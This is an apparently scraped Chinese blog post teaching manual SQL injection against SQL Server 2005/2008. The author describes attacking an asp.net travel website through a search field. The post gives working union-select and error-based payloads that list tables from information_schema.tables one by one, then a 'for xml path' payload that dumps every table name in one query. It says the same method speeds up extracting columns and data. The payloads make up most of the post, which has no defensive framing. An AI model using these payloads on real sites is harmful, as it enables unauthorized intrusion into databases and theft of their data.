好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

SQL2005/2008手工注入之批量爆数据for xml path - 网站

最近测试了一个asp.net+sql2008旅游网站,找到一个搜索型注入点。输入单引号报错:

接下来一个一个地列出数据库里有哪些表,先取第一个表名:

and 1=2 union select 1,(select top 1 table_name frominformation_schema.tables),1,1,1,1,1,1,1,1,1,1,'true','true',1,1,1;--

 

 我喜欢用union当然也可以用SQL报错的方式: and 1=(select top 1 table_name from information_schema.tables);-- 这两种方式各有各的优缺点,这里不再多说。 接下来取第二个表名: and 1=2 union select 1,(select top 1 table_name frominformation_schema.tables where table_name not in('VCW_DailyReport_All ')),1,1,1,1,1,1,1,1,1,1,'true','true',1,1,1;-- 接着第三个,以此类推。。。 然而在我照这样的方式获得了60多个表的时候,我再也受不了了。我也不知道数据库里到底有多少个表,我考虑是不是应该找一个快捷的办法。这时我想到了for xml path 以前 程序开发 的时候碰到过这个SQL语句。for xml path是SQL2005/2008的新功能,具体用法见这里:http://www.2cto.com/database/201204/127349. html   我尝试了一下:   and 1=2 union select 1,(select table_name+',' from information_schema.tablesfor xml path('')),1,1,1,1,1,1,1,1,1,1,'true','true',1,1,1;--   执行结果:

 

这样似乎看起来不方便,看HTML代码:

 

截图没显示全,我估计得有上千个表。要是一个一个的列,不知得何月。  

这里再次说明一下,for xml path 是一种数据生成方式,不但可以用在爆表,爆字段和爆数据都可以,在手工注入的时候可以明显加快速度。

 

比较低级的发现,请大家多多包涵!

查看更多关于SQL2005/2008手工注入之批量爆数据for xml path - 网站的详细内容...

  阅读:54次